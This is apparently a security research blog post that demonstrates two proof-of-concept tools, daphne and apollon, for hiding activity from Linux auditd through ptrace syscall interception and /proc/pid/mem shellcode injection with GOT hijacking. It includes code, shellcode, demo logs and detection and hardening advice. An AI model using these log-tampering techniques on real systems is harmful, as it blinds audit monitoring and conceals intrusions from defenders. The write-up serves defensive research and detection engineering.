Aug 3, 2023
Tobias Neitzel

Blindsiding auditd for Fun and Profit

The Linux audit framework provides a powerful audit system for monitoring security relevant events on Linux operating systems. In this blogpost, we demonstrate some attacks on its userspace component auditd with the goal to tamper with audit events to hide malicious activity. We also released two PoCs called daphne and apollon that demonstrate different techniques to tamper with audit events.

Background

Over the last couple of years, monitoring and endpoint protection solutions have developed rapidly. Especially for Windows operating systems there is a wide range of available products that are commonly used in larger organizations. Whereas endpoint protection and extensive monitoring have become the default on Windows workstations and servers, their Linux counterparts are usually less protected, even though Linux provides great telemetry for free by using the Linux audit framework.

On most Linux distributions, the Linux audit framework can be installed via a package manager. On Fedora for example, the following commands can be used:

[user@host ~]$ sudo dnf install audit
[user@host ~]$ sudo systemctl enable auditd
[user@host ~]$ sudo systemctl start auditd

The default installation of the audit framework provides only a minimal rule set. To get a reasonable starting point, the auditd rule set of Florian Roth can be used:

[user@host ~]$ wget 'https://raw.githubusercontent.com/Neo23x0/auditd/master/audit.rules'
[user@host ~]$ sudo mv audit.rules /etc/audit/rules.d/audit.rules
[user@host ~]$ sudo systemctl kill auditd
[user@host ~]$ sudo systemctl start auditd

After restarting the auditd daemon, fine grained logging of events can be found within the auditd log file at /var/log/auditd/audit.log. The following example shows the attempt of a regular user to read the contents of the /etc/shadow file:

type=SYSCALL msg=audit(1690783519.928:929): arch=c000003e syscall=257 success=no exit=-13 a0=ffffff9c a1=7fffd0dd98f0 a2=80000 a3=0 items=1 ppid=1160 pid=1184 auid=4294967295 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts2 ses=4294967295 comm="bat" exe="/usr/bin/bat" key="etcpasswd"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="user" GID="user" EUID="user" SUID="user" FSUID="user" EGID="user" SGID="user" FSGID="user"
type=PATH msg=audit(1690783519.928:929): item=0 name="/etc/shadow" inode=270575 dev=ca:03 mode=0100000 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
type=PROCTITLE msg=audit(1690783519.928:929): proctitle=626174002D70002F6574632F736861646F77

In the log format of auditd all log entries are separated by newlines, but multiple lines can still belong to the same event. In the example above, all three lines belong to the same event with event ID 929. Moreover, auditd uses hex encoding for some types of messages.

To group connected auditd events and to convert them into a SIEM friendly format, the laurel plugin can be used. laurel is a post processing tool for auditd events that generates JSON output from auditd events. Connected events are grouped together, encoded values are decoded and some other enrichment is applied. Using laurel, the event shown above looks like this:

{
  "ID": "1690783519.928:929",
  "SYSCALL": {
    "arch": "0xc000003e",
    "syscall": 257,
    "success": "no",
    "exit": -13,
    "items": 1,
    "ppid": 1160,
    "pid": 1184,
    "auid": 4294967295,
    "uid": 1000,
    "gid": 1000,
    "euid": 1000,
    "suid": 1000,
    "fsuid": 1000,
    "egid": 1000,
    "sgid": 1000,
    "fsgid": 1000,
    "tty": "pts2",
    "ses": 4294967295,
    "comm": "bat",
    "exe": "/usr/bin/bat",
    "key": "etcpasswd",
    "ARCH": "x86_64",
    "SYSCALL": "openat",
    "AUID": "unset",
    "UID": "user",
    "GID": "user",
    "EUID": "user",
    "SUID": "user",
    "FSUID": "user",
    "EGID": "user",
    "SGID": "user",
    "FSGID": "user",
    "ARGV": [
      "0xffffff9c",
      "0x7fffd0dd98f0",
      "0x80000",
      "0x0"
    ],
    "PPID": {
      "EVENT_ID": "1690783437.445:909",
      "comm": "bash",
      "exe": "/usr/bin/bash",
      "ppid": 1149
    }
  },
  "PATH": [
    {
      "item": 0,
      "name": "/etc/shadow",
      "inode": 270575,
      "dev": "ca:03",
      "mode": "0o100000",
      "ouid": 0,
      "ogid": 0,
      "rdev": "00:00",
      "nametype": "NORMAL",
      "cap_fp": "0x0",
      "cap_fi": "0x0",
      "cap_fe": 0,
      "cap_fver": "0x0",
      "cap_frootid": "0",
      "OUID": "root",
      "OGID": "root"
    }
  ],
  "PROCTITLE": {
    "ARGV": [
      "bat",
      "-p",
      "/etc/shadow"
    ]
  }
}

As with every detection and monitoring solution, there is no correct usage of auditd. The above configuration provides a good starting point to get some telemetry. Fine tuning, custom configuration and monitoring collected logs for malicious activity needs to be done manually.

Attack Surface of the Audit System

One of the main advantages of the Linux audit system is that its telemetry is generated at kernel level. The auditd daemon utilizes netlink to obtain events directly from the audit kernel module. The event generation (audit kernel module) as well as the event processing (auditd daemon) are therefore always privilege separated from low privileged user processes. Tampering with events from a regular user context is therefore not that promising.

From a high privileged context however, it is possible to tamper with the userspace component of the audit system, which is the auditd daemon. The goal of this tampering is to suppress events that indicate malicious behavior. Simply stopping the daemon or modifying its rule set is not desirable, as this creates additional events that should be monitored for in each reasonable auditd configuration.

During our research, we experimented with two different approaches and created a PoC for both of them. In the following, a brief summary for both PoCs is provided, followed by a deeper technical analysis in the further sections:

daphne

  • Uses ptrace to attach to the auditd process
  • Intercepts the recvfrom system call and inspects the returned buffer
  • Clears or replaces certain keywords on their appearance within the buffer
  • Returns the tampered syscall result to auditd

apollon

  • Uses /proc/PID/mem and /proc/PID/maps to tamper with the integrity of the auditd process
  • Searches for an unused executable memory region within the auditd process to house shellcode (code cave)
  • Injects event filtering shellcode into the code cave within the auditd process
  • Replaces the recvfrom entry in the global offset table of auditd with a pointer to the shellcode

daphne - Technical Details

ptrace is a well known system call that allows one process to monitor and control the execution of another process. This involves reading and writing process memory, inspecting and changing CPU registers and intercepting system calls. With these powerful capabilities, ptrace is a suitable tool to tamper with auditd events. As already mentioned, auditd uses the recvfrom system call to obtain events from the kernel via netlink. daphne uses ptrace to attach to auditd and intercept this system call:

ptrace(PTRACE_ATTACH, atoi(argv[1]), 0, 0);
printf("[+] Attached to process: %d\n", PID);

ptrace(PTRACE_SETOPTIONS, PID, 0, (void*)PTRACE_O_TRACECLONE);
ptrace(PTRACE_SETOPTIONS, PID, 0, (void*)PTRACE_O_TRACESYSGOOD);

printf("[+] Configured ptrace correctly.\n");
printf("[+] Starting ptrace event loop.\n");

bool keep_filtering = false;
struct user_regs_struct regs;

for (;;)
{
    if (!ptrace_wait_syscall(PID))
    {
        printf("[+] The monitored process exited.\n");
        break;
    }

    // At this stage, the syscall did not execute yet.

    if (!ptrace_wait_syscall(PID))
    {
        printf("[+] The monitored process exited.\n");
        break;
    }

    // At this stage, the syscall was executed.
    // The results are contained within the corresponding registers:
    //
    //  rdi:      File descriptor that was read from
    //  rsi:      Buffer the data was stored in
    //  rdx:      Size of the buffer pointed to by rsi
    //  r10:      Flags
    //  r8:       struct sockaddr
    //  r9:       addr_len
    //
    //  rax:      number of bytes that were read

    ptrace(PTRACE_GETREGS, PID, 0, &regs);

    if (regs.orig_rax == SYS_recvfrom && (int)regs.rax > 0)
    {
      // do tampering in buffer pointed to by regs.rsi
    }
}

To tamper with auditd events, it is required to understand the format in which these events are emitted by the kernel. The following listing shows some examples for raw event messages that are obtained by auditd from the netlink:

201001450000000000617564697428313639303238383431352e3132303a3836383235293a20617263683d63303030303033652073797363616c6c3d353920737563636573733d79657320657869743d302061303d3539336535393465633533302061313d3539336535393465633631302061323d3539336535393465353366302061333d38206974656d733d3220707069643d31303435207069643d3132333920617569643d34323934393637323935207569643d30206769643d3020657569643d3020737569643d302066737569643d3020656769643d3020736769643d302066736769643d30207474793d70747331207365733d3432393439363732393520636f6d6d3d22696422206578653d222f7573722f62696e2f696422206b65793d227265636f6e22
2b0001d50000000000617564697428313639303238383431352e3132303a3836383235293a20617267633d312061303d22696422
b70001650000000000617564697428313639303238383431352e3132303a3836383235293a206974656d3d30206e616d653d222f7573722f62696e2f69642220696e6f64653d313338323534206465763d63613a3033206d6f64653d30313030373535206f7569643d30206f6769643d3020726465763d30303a3030206e616d65747970653d4e4f524d414c206361705f66703d30206361705f66693d30206361705f66653d30206361705f667665723d30206361705f66726f6f7469643d30
c70001650000000000617564697428313639303238383431352e3132303a3836383235293a206974656d3d31206e616d653d222f6c696236342f6c642d6c696e75782d7838362d36342e736f2e322220696e6f64653d313335363030206465763d63613a3033206d6f64653d30313030373535206f7569643d30206f6769643d3020726465763d30303a3030206e616d65747970653d4e4f524d414c206361705f66703d30206361705f66693d30206361705f66653d30206361705f667665723d30206361705f66726f6f7469643d30
2b0002f50000000000617564697428313639303238383431352e3132303a3836383235293a2070726f637469746c653d22696422
1d0002850000000000617564697428313639303238383431352e3132303a3836383235293a20

To understand this format, we take a look at the auditd source code, which is publicly available at GitHub. The corresponding structures can be found within the libaudit.h header file:

// defined in libaudit.h
struct audit_message
{
	struct      nlmsghdr nlh;
	char        data[MAX_AUDIT_MESSAGE_LENGTH];
};

// defined in netlink.h
struct nlmsghdr
{
	__u32		nlmsg_len;
	__u16		nlmsg_type;
	__u16		nlmsg_flags;
	__u32		nlmsg_seq;
	__u32		nlmsg_pid;
};

With regard to the output shown above, the relevant takeaways from these structures are:

  1. The first four bytes represent the length of the message
  2. The next two bytes represent the message type
  3. The actual audit message begins 16 bytes from the start of the buffer

A list of possible message types can be found within the audit.h header file. Two prominent examples include AUDIT_EXECVE with a numerical value of 1309 (0x51d), that is used for logging execve syscall events and AUDIT_EOE with a numerical value of 1320 (0x528), which is used to end a multi record event.

Tampering with auditd messages is now simple:

  • Skip the first 16 bytes of the result buffer
  • Check for suspicious strings within the payload buffer
  • Replace suspicious strings or remove the whole message
  • Continue execution

That being said, there are some pitfalls. As already demonstrated, there are usually multiple messages belonging to the same event. Each recvfrom call only obtains one of these messages. Just matching for suspicious strings to hide may replace single messages of the event, while others still pass. This creates odd-looking events that are detected easily.

daphne solves this issue by looking also at the event IDs after the first event message has been filtered. For all following events, their event ID is compared against the filtered event ID. If they match, these events are filtered as well. However, if the filtering rule does not apply to the first message within an event group, these events are still forwarded until the matching event message is reached. Therefore, the filter pattern should preferably be one of the first messages within an auditd event group.

Demo

The following listing shows an example invocation of daphne. 427 is the process ID of auditd, whereas 1476 is the process ID of a bash shell we want to exclude from monitoring:

[user@host daphne]$ sudo ./dist/daphne-x64 427 1476
[+] Attached to process: 427
[+] Configured ptrace correctly.
[+] Starting ptrace event loop.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.

After starting daphne, we attempt to access the file /etc/shadow. First, from a regular bash shell, then from our hidden shell and then again from the regular one. The following events can be observed within the auditd log:

type=SYSCALL msg=audit(1690784006.115:1296): arch=c000003e syscall=257 success=no exit=-13 a0=ffffff9c a1=7ffdf2d506b0 a2=80000 a3=0 items=1 ppid=1438 pid=1537 auid=4294967295 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts2 ses=4294967295 comm="bat" exe="/usr/bin/bat" key="etcpasswd"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="user" GID="user" EUID="user" SUID="user" FSUID="user" EGID="user" SGID="user" FSGID="user"
type=PATH msg=audit(1690784006.115:1296): item=0 name="/etc/shadow" inode=270575 dev=ca:03 mode=0100000 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
type=PROCTITLE msg=audit(1690784006.115:1296): proctitle=626174002D70002F6574632F736861646F77
type=SYSCALL msg=audit(1690784012.792:1298): arch=c000003e syscall=257 success=no exit=-13 a0=ffffff9c a1=7ffc34413f90 a2=80000 a3=0 items=1 ppid=1438 pid=1545 auid=4294967295 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts2 ses=4294967295 comm="bat" exe="/usr/bin/bat" key="etcpasswd"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="user" GID="user" EUID="user" SUID="user" FSUID="user" EGID="user" SGID="user" FSGID="user"
type=PATH msg=audit(1690784012.792:1298): item=0 name="/etc/shadow" inode=270575 dev=ca:03 mode=0100000 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
type=PROCTITLE msg=audit(1690784012.792:1298): proctitle=626174002D70002F6574632F736861646F77

As can be seen, only two events are logged (event ID 1296 and 1298). One event with event ID 1297 seems to be missing. This is exactly the event that was cleared by daphne. Instead of dropping events, daphne can also tamper the event messages by performing replace operations. In the following example, the string /etc/shadow is replaced with /etc/no_shadow within every audit event:

[root@host daphne]# ./dist/daphne-x64 427 /etc/shadow /etc/no_shadow
[+] Attached to process: 427
[+] Configured ptrace correctly.
[+] Starting ptrace event loop.
[+] Intercepted SYS_RECVFROM call.
[+] Intercepted SYS_RECVFROM call.
[+] Replacing '/etc/shadow' with '/etc/no_shadow'.
[+] Intercepted SYS_RECVFROM call.
[+] Replacing '/etc/shadow' with '/etc/no_shadow'.
[+] Intercepted SYS_RECVFROM call.

After starting daphne, we attempt to access /etc/shadow again and obtain the following log entries:

type=SYSCALL msg=audit(1690784393.787:1334): arch=c000003e syscall=257 success=no exit=-13 a0=ffffff9c a1=7ffc87379740 a2=80000 a3=0 items=1 ppid=1476 pid=1566 auid=4294967295 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts3 ses=4294967295 comm="bat" exe="/usr/bin/bat" key="etcpasswd"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="user" GID="user" EUID="user" SUID="user" FSUID="user" EGID="user" SGID="user" FSGID="user"
type=PATH msg=audit(1690784393.787:1334): item=0 name="/etc/no_shadow" inode=270575 dev=ca:03 mode=0100000 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
type=PROCTITLE msg=audit(1690784393.787:1334): proctitle=626174002D70002F6574632F6E6F5F736861646F77

Detection

If you reproduce the demonstration above with the auditd configuration that was suggested at the beginning of this post, you might get surprised. This auditd rule set monitors ptrace usage and therefore detects daphne. The following listing shows the corresponding auditd rules:

## Injection
### These rules watch for code injection by the ptrace facility.
### This could indicate someone trying to do something bad or just debugging
-a always,exit -F arch=b32 -S ptrace -F a0=0x4 -k code_injection
-a always,exit -F arch=b64 -S ptrace -F a0=0x4 -k code_injection
-a always,exit -F arch=b32 -S ptrace -F a0=0x5 -k data_injection
-a always,exit -F arch=b64 -S ptrace -F a0=0x5 -k data_injection
-a always,exit -F arch=b32 -S ptrace -F a0=0x6 -k register_injection
-a always,exit -F arch=b64 -S ptrace -F a0=0x6 -k register_injection
-a always,exit -F arch=b32 -S ptrace -k tracing
-a always,exit -F arch=b64 -S ptrace -k tracing

In theory, daphne can filter the resulting events from these rules, but since daphne keeps tracing auditd while running, these rules create a ton of events that cause a noticeable system slowdown. The auditd event queue is flooded with ptrace events and regular events are processed with a noticeable time delay.

Within the auditd logs, the only visible daphne related event is an OBJ_PID event that records a signal being send to auditd:

type=OBJ_PID msg=audit(1690785691.461:645395): opid=427 oauid=-1 ouid=0 oses=-1 ocomm="auditd"OAUID="unset" OUID="root"

When daphne is used to drop certain events completely, it can also be detected by the missing event IDs. As demonstrated above, each event has a unique event ID that increments for each emitted event. If some event IDs are missing, this can be another indicator for tampering.

Additionally, monitoring error messages of the auditd daemon can be beneficial. As discussed above daphne drops events by clearing the netlink output buffer. This leads to an error message when the buffer is processed by auditd:

Jul 31 13:25:02 auditd auditd[427]: Netlink message from kernel was not OK
Jul 31 13:25:02 auditd auditd[427]: Netlink message from kernel was not OK
Jul 31 13:25:02 auditd auditd[427]: Netlink message from kernel was not OK
Jul 31 13:25:02 auditd auditd[427]: Netlink message from kernel was not OK

Obviously, traces like missing event IDs or auditd error messages can be prevented by adopting daphne to create dummy events instead of dropping them. Therefore, using these indicators to detect tampering is not reliable.

The preferred method for preventing ptrace related attacks is to disable ptrace usage. The Yama security module is one way to achieve this. The following listing demonstrates how to prevent usage of ptrace on supported Linux versions:

[root@host ~]# echo -n 3 > /proc/sys/kernel/yama/ptrace_scope

However, disabling ptrace globally can influence other applications like EDR solutions that use it for memory scanning. Another solution could be to write a custom security module that only disallows tracing for critical processes like auditd or laurel.

apollon - Technical Details

After implementing daphne we thought about other solutions for blindsiding auditd that do not continuously trigger ptrace logging. Our colleague Sebastian Feldmann, author of our Sysmon evasion tool SysmonEnte, asked whether we cannot write /proc/PID/mem to patch the auditd process. My initial thought was that it cannot be that easy, but to my surprise, it is!

proc is a pseudo-filesystem for interfacing with the Linux kernel. It can be used to obtain process and system information, with some paths even being writable to allow modifying process or system properties. /proc/pid/mem in particular allows access to mapped memory pages of a process and even though the manual only describes access through open, read and lseek, the path is also writable and allows patching process memory.

Now we knew that we can patch auditd process memory via /proc/pid/mem. But where should we patch? If you ever played binary CTF challenges, you probably know that writing the global offset table (GOT) is a good way to change the control flow of a program. The GOT resides in the .data section of a program and contains pointers to functions loaded from shared libraries. Each time a program calls a method from a shared library, the pointer contained in the GOT is followed, which makes it suitable for hijacking control flow. That being said, binary exploitation mitigations have improved and modern applications often utilize a protection mechanism called Relocation Read-Only (RELRO) that marks the memory sections that contain the GOT non writable.

Surprisingly, the proc pseudo-filesystem does not care at all. There is a great blog post by Mark Mossberg explaining why the kernel does not care about page permissions when writing to /proc/pid/mem. This bypasses the RELRO protected memory sections of auditd and even allows to patch its executable memory itself, which will be required in the next step.

A suitable target for patching the GOT is the address of recvfrom within libc. This function is utilized within libaudit.so to read events from the kernel via netlink. By replacing the function pointer to recvfrom within the GOT of libaudit.so with a pointer to an event filtering version of recvfrom, auditd can be blindsided again. But where to find an event filtering version of recvfrom?

Obviously, a function that behaves similar to recvfrom, but filters certain events cannot be found within the address space of the auditd process. Instead, it is required to write some event filtering shellcode, inject it into the auditd process and replace the recvfrom pointer within the GOT of libaudit.so with a pointer to it. Since /proc/pid/mem does not care about page permissions, finding an unused executable area (code cave) of memory is not difficult.

The difficulty of creating the event filtering shellcode depends on what kind of event filtering should be achieved. The following assembly demonstrates a simple variant, where all events are filtered by returning a length of zero as the result of the recvfrom call:

BITS 64
    PUSH    R12
    MOV     R12,0xfffffffffffa
    CALL    R12

    MOV     RAX,0x00
    POP     R12
    RET

The value 0xfffffffffffa is a placeholder that gets replaced with the libc address of recvfrom when the shellcode gets injected by apollon. A more dedicated shellcode example is filter-selective.asm, that drops events selectively. The following C code was used as a template to create the shellcode:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>

/*
 * hook function for intercepting recvfrom calls. This function performs
 * the syscall and inspects the returned bytes. If the specified sequence
 * is found within the returned bytes, recvfrom is called again until a
 * new event is obtained that does no longer match the pattern.
 */
ssize_t hook_func(int sockfd, char* buf, size_t len, int flags, struct sockaddr* src_addr, socklen_t* addrlen)
{
    /*
     * Receive the next audit event message from netlink.
     */
    ssize_t length = recvfrom(sockfd, buf, len, flags, src_addr, addrlen);

    /*
     * Now we go to the audit_message (buf + 16) and check whether it contains the desired
     * pattern. The example pattern from here needs to be replaced in the generated
     * assembly. This can be done dynamically. apollon replaces the pattern 0xffffffffff01
     * with a pointer to the second command line argument.
     */
    while (strstr(buf + 16, "pid=1337"))
    {
        /*
         * Since a single event is usually scattered around multiple event messages, we
         * need to obtain the event ID (buf + 37) and filter all proceeding event messages
         * that belong to the same event.
         */
        unsigned int curr_event = 0;
        unsigned int filter_event = strtoul(buf + 37, NULL, 0);

        /*
         * Request new events until the received event ID  does no longer match the filtered
         * event ID. If this is the case, simply continue with the outer loop, as the new event
         * could match the filter again.
         */
        do
        {
            length = recvfrom(sockfd, buf, len, flags, src_addr, addrlen);
            curr_event = strtoul(buf + 37, NULL, 0);
        }

        while (curr_event == filter_event);
    }

    return length;
}

Summarized, apollon performs the following operations to blindside auditd:

  1. Use /proc/pid/maps to find the data segment of libaudit.so within the auditd process
  2. Use /proc/pid/maps to find the text segment of libc.so within the auditd process
  3. Determine the offset of recvfrom in libc.so and calculate its position within the auditd process
  4. Search the data segment of libaudit.so for a reference to recvfrom
  5. Find a code cave within the auditd process that is large enough to house the event filtering shellcode
  6. Write the event filtering shellcode to the code cave
  7. Replace the recvfrom reference within the GOT of libaudit.so with the code cave address

After auditd was patched, all events pass the event filtering shellcode first before being processed by auditd.

Demo

The following listing shows an example invocation of apollon. 427 is the process ID of auditd, whereas 1059 is the process ID of a bash shell that we want to exclude from monitoring:

[root@auditd apollon]# ./apollon-selective-x64 427 1059
[+] Found data segment of 427 at 0x79edb1a33000
[+] Found libc base address of 427 at 0x79edb1703000
[+] Found offset of 'recvfrom' in libc at e7cc0
[+] Searching for pattern 0x79edb17eacc0 in data segment of 427
[+] Data segment is 2000 bytes long.
[+] Found 'recvfrom' in 427 at 0x79edb1a33ea0
[+] Preparing shellcode...
[+] Replaced 2 occurences of recvfrom.
[+] Found strstr in 427 at 0x79edb178fa30
[+] Replaced 1 occurences of strstr.
[+] Found strtoul in 427 at 0x79edb17299c0
[+] Replaced 2 occurences of strtoul.
[+] Found code cave for pattern matching in 427 at 0x5d2c00b162ad
[+] Wrtiting '1059' to codecave.
[+] Replaced 1 occurences of matcher pattern.
[+] Searching codecave for 264 byte shellcode...
[+] Found code cave in 427 at 0x5d2c00b2eaf1
[+] Wrtiting shellcode to codecave.
[+] Replacing 'recvfrom' GOT entry with shellcode addr.
[+] auditd patched successfully.

After patching auditd, we accessed the /etc/shadow file, first from a shell with process ID 1022, then within our evaded shell with process ID 1059 and afterwards again with PID 1022. Here is the result from the auditd log file:

type=SYSCALL msg=audit(1690788664.304:980): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffe5e584772 a2=0 a3=0 items=1 ppid=1022 pid=1226 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=4294967295 comm="cat" exe="/usr/bin/cat" key="etcpasswd"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"
type=PATH msg=audit(1690788664.304:980): item=0 name="/etc/shadow" inode=270575 dev=ca:03 mode=0100000 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
type=PROCTITLE msg=audit(1690788664.304:980): proctitle=636174002F6574632F736861646F77
type=SYSCALL msg=audit(1690788671.579:982): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffc22a71772 a2=0 a3=0 items=1 ppid=1022 pid=1228 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=4294967295 comm="cat" exe="/usr/bin/cat" key="etcpasswd"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"
type=PATH msg=audit(1690788671.579:982): item=0 name="/etc/shadow" inode=270575 dev=ca:03 mode=0100000 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
type=PROCTITLE msg=audit(1690788671.579:982): proctitle=636174002F6574632F736861646F77

Once again, the event 981 caused by the shadow access from PID 1059 is not logged. Patching of auditd was successful. Using more dedicated shellcode it would be possible to replace suspicious strings, to hide the missing event IDs or to perform other evasion types.

Detection

In contrast to daphne, the demonstration above shows the auditd logs with ptrace logging enabled. No tricks. No double bottom. Even using the full auditd configuration mentioned above does not create a single event when executing apollon. So how can process injection via /proc/pid/mem be detected?

An attempt would be to use auditd file system rules to detect write access to /proc/PID/mem of the auditd process. However, as it turns out, this is not easy. To the best of our knowledge, it is not possible to define dynamic rules within auditd rule files. Also, wildcards are not supported. Hence, the following rules are not working:

-w /proc/$pid/mem -p wa -k process-injection  # does not work since no variable support
-w /proc/*/mem -p wa -k process-injection  # does not work since no wildcard support

That being said, rules can be created dynamically using auditctl. The following listing shows an example of a modified systemd auditd unit file that dynamically adds a file system rule for /proc/pid/mem of the auditd process:

[Service]
Type=forking
PIDFile=/run/auditd.pid
ExecStart=/sbin/auditd
## To not use augenrules, copy this file to /etc/systemd/system/auditd.service
## and comment/delete the next line and uncomment the auditctl line.
## NOTE: augenrules expect any rules to be added to /etc/audit/rules.d/
ExecStartPost=-/sbin/augenrules --load
ExecStartPost=/bin/bash -c "auditctl -w /proc/$(cat /run/auditd.pid)/mem -k process-injection"

After applying this configuration and restarting the auditd daemon, apollon is detected by the file system rule:

type=SYSCALL msg=audit(1690793788.842:4517): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffdc935c0c0 a2=2 a3=0 items=1 ppid=1281 pid=1518 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=4294967295 comm="apollon-selecti" exe="/home/user/apollon/apollon-selective-x64" key="process-injection"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"
type=PATH msg=audit(1690793788.842:4517): item=0 name="/proc/1492/mem" inode=22345 dev=00:13 mode=0100600 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
type=PROCTITLE msg=audit(1690793788.842:4517): proctitle=2E2F61706F6C6C6F6E2D73656C6563746976652D7836340031343932006461646161

As shown, dynamically adding monitoring for the /proc/pid/mem path of important processes can detect process injection attempts. But we can do even better! Remember the Yama security module mentioned above when discussing the detection of daphne? It also affects /proc/pid/mem! The following listing shows the relevant quote from the proc manual:

Permission to access this file is governed by a ptrace access mode PTRACE_MODE_ATTACH_FSCREDS check; see ptrace(2).

In fact, ptrace is not the only operation that requires ptrace access mode permissions. Many parts of the /proc/pid directory are subject to such ptrace access checks that are performed by security modules like Yama. Denying ptrace by using a restrictive ptrace_scope configuration prevents apollon from accessing auditd process memory via /proc/pid/mem:

[root@host ~]# echo -n 3 > /proc/sys/kernel/yama/ptrace_scope
[root@host ~]# ./apollon-selective-x64 1547 1059
[+] Found data segment of 1547 at 0x79edb37b8000
[+] Found libc base address of 1547 at 0x79edb3488000
[+] Found offset of 'recvfrom' in libc at e7cc0
[+] Searching for pattern 0x79edb356fcc0 in data segment of 1547
[+] Data segment is 2000 bytes long.
[-] Function 'recvfrom' was not found in GOT of 1547.

apollon failed to find the recvfrom pointer within the GOT of libaudit.so, as reading auditd process memory via /proc/pid/mem was not possible. All previous address reads affected /proc/pid/maps, which is still allowed as it only requires PTRACE_MODE_READ_FSCREDS.

Some of the detection mechanisms for daphne mentioned above can be used for detecting apollon. Missing event IDs and auditd error messages can also be observed when dropping events using injected shellcode. However, these detection methods are obviously not reliable, as they can be bypassed by using more dedicated shellcode.

Conclusion

In this blog we demonstrated two different methods for tampering with event logs generated by auditd. While the ptrace based technique was well covered by the auditd rule set mentioned above, /proc/pid/mem based injections stayed undetected. It is therefore recommended to implement additional measures to protect critical processes like auditd or laurel.

We showed that dynamically created auditd rules can be used to monitor the /proc/pid/mem path and to detect possible process injections attempts. As access to this path is rather uncommon, such a detection should cause a low amount of false positives. However, this might differ depending on the installed software. Especially EDR applications that perform memory scanning might use this path for legitimate purpose.

If possible, it is recommended to restrict ptrace access completely, especially on production systems. This can be achieved for all processes by utilizing already existing security modules like Yama or by writing a custom module, that only protects specific processes like auditd, laurel or log forwarding agents.

References

Source Code